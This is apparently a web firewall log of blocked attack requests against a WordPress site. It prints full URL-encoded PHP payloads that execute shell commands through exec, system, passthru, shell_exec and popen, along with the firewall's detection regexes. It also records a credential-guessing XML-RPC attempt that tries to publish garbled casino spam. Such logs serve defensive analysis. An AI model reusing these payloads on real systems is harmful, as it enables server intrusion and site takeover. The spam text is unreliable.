["2026-05-12 22:25:28","43.98.255.162","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iL:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3349\n\niL=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:25:56","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cj:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\ncontent-length:3349\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\n\nCj=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:26:14","40.89.130.0","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3372\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27php_http_proxy%27%2C%27icalendar_import%27%2C%27incfacebook%27%2C%27gateways3.inc%27%2C%27u2uLib.class%27%2C%27control.tpl%27%2C%27details_up%27%2C%27com_rd_rss%27%2C%27group_pricing%27%2C%27com_virtuemart%27%2C%27UniqueAppender%27%2C%27pc_settings%27%2C%27HTMLModule%27%2C%27makebookmark%27%2C%27template_select%27%2C%27theme_functions%27%2C%27resources%27%2C%27functions_search%27%2C%27core.write_file%27%2C%27picEditor%27%2C%27home_July052010%27%2C%27formpassword%27%2C%27URIParser%27%2C%27mod_online%27%2C%27banners.bak%27%2C%27db_routines.inc%27%2C%27freesansbi%27%2C%27index_enc_ion%27%2C%27quiz_responses%27%2C%27DataControl%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 22:42:39","156.59.166.213","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Find out if an online site are Harmful Ripoff otherwise Safer Legitimate]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Value for money<\/a><\/li><li><a href=\"#toc-1\">Research Linked to You<\/a><\/li><li><a href=\"#toc-2\">Is actually BeFunky Legit? <\/a><\/li><li><a href=\"#toc-3\">Installs, Ratings, and you may Profile<\/a><\/li><li><a href=\"#toc-4\">Perform Account<\/a><\/li><\/ul><\/div>\n<p>The kids rating so happy to help unpack and discover what is actually among them week’s package. Well known element of our very own Saturday now, is when we obtain our next beginning! We acquired my personal first Farmers Discover field has just.<\/p>\r\n\r\n<h2 id=\"toc-0\">Value for money<\/h2>\n<p>For instance, \"The most beautiful application! <!--more--> I really like they a <a href=\"https:\/\/vogueplay.com\/in\/raging-rhino\/\">have a glimpse at the weblink<\/a> great deal.\" They generally usually do not stress people particular features. Constantly, bogus recommendations is quick, thrilled comments with general comments. Furthermore, be cautious out of bogus analysis that might be posted by the illegitimate builders on their own.<\/p>\r\n<h2 id=\"toc-1\">Research Linked to You<\/h2>\n<p>They’lso are great for environmental surroundings (reduced worldwide distribution), fantastic to own regional producers (smaller food waste), and you can good for your allowance. Never fool around with currency you could potentially’t manage to lose and ensure you know one to playing isn’t ways to make money. Perhaps the juiciest harbors provides regulations, and you can in advance trying to find fruity wins, there are a few issues should become aware of. Trendy Fruits Madness™ guides you in order to an exciting globe where fruit mask wild multipliers less than the peels and you will carry Borrowing from the bank symbols which can property you large earnings.<\/p>\r\n\r\n<ul><li>Always always believe a designer and the certain APK document you’re also having fun with prior to sideloading an app.<\/li><li>There's analysis to own that which you, from how much java you drink on the dancing actions your explore.<\/li><li>The newest reels is actually full of familiar fruits icons including cherries, lemons, and you can watermelons, for each made within the stunning colors you to pop contrary to the backdrop.<\/li><li>For desire about how to ready your delicious box away from new vegetables, view our very own Character Jones Treatments, organized from the veggie and you can container type of!<\/li><li>Inside 1 year Kasaei-Nejed's Cool Dinner moved viral to your social networking, that have consumers revealing their analysis.<\/li><\/ul>\n<img src=\"https:\/\/www.casinoaustraliaonline.com\/wp-content\/uploads\/2023\/09\/Bucks-Empire-Casino-Review-Australia.jpg\" alt=\"casino app download android\" border=\"0\" align=\"right\" style=\"padding: 20px;\">\n<p>It is really not you to definitely are additional such stores makes apps unsafe. These stores provide tight direction to have designers on which programs is otherwise can not have. It’ll as well as number previous defense interest, and certainly will generally make sure that, even when a destructive app steals important computer data, you’ll have the ability to lock it of your membership which have minimum of topic you'll be able to. This can help you tighten your internet defense, encouraging one to bring shelter actions for example incorporating a recovery email address or phone number to the Google membership. This may test an app to have identified malware before installing, providing a supplementary coating out of security. It’s it is possible to applications which have an excellent ratings you'll still have dangerous app included on the sly.<\/p>\r\n<h2 id=\"toc-2\">Is actually BeFunky Legit? <\/h2>\n<p>So since the designers, we figured we'd assembled a listing of tips and tricks that will play the role of techniques for everyone software partners away indeed there. To locate an solution to you to definitely question, since the people life human manage, i asked Google to search for specific application authenticity book. Therefore, how can you know if an application is fine in order to download?<\/p>\n<p>The brand new good fresh fruit try ready to your selecting, however the actual wonders occurs when the newest Collect Function kicks in the. Funky Good fresh fruit Madness™ takes you to the an adventure to your local good fresh fruit industry, where all twist might be hijacked by the wilds, gooey cash grabs, and 100 percent free spins you to wear’t enjoy nice. So it document originates from the official developer possesses enacted all the the shelter inspections, appearing zero signs and symptoms of worms, trojan, or spyware.<\/p>\r\n<h2 id=\"toc-3\">Installs, Ratings, and you may Profile<\/h2>\n<p>Most likely, for individuals who desire to risk after that it include additional security, such as an authenticator application (not reccomended, if you remove the brand new application your own generally shagged) or a lot more codes (reccomended, it cannot steal those people unless he's got access to your personal computer) or simply do the dos action confirmation thingy While you are you can find several apps out of businesses that are experts in overseeing people, there are also multiple from some of the manufacturers of your best anti-virus application. It’s value listing one to application names can be simply altered because of the builders to the Play Store however these have been a proper labels for everybody of your own apps under consideration by the CyberNews team during creating.<\/p>\r\n<h2 id=\"toc-4\">Perform Account<\/h2>\n<img src=\"http:\/\/www.eprosellers.com\/uploads\/3\/7\/4\/5\/37454431\/s265609224778365638_p745_i1_w697.jpeg?width=640\" alt=\"online casino zar\" align=\"left\" border=\"0\">\n<p>To get software, pay a visit to a shop, called an electronic digital distribution system (what type hinges on your mobile device). For those who have a mobile or a supplement computers (including an ipad), the newest applications is actually in which it's during the. It is wise to own a potential associate and see particular of your own step 1-star reviews and see the brand new issues to ensure when the you can find shelter otherwise investigation shelter inquiries. Well-known programs which have a huge associate foot try bound to features several negative reviews, very never trust an application with a perfect 5-superstar score.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T14:42:36<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[find-out-if-an-online-site-are-harmful-ripoff-otherwise-safer-legitimate]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:7601\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nconnection:Close\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Find out if an online site are Harmful Ripoff otherwise Safer Legitimate]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: 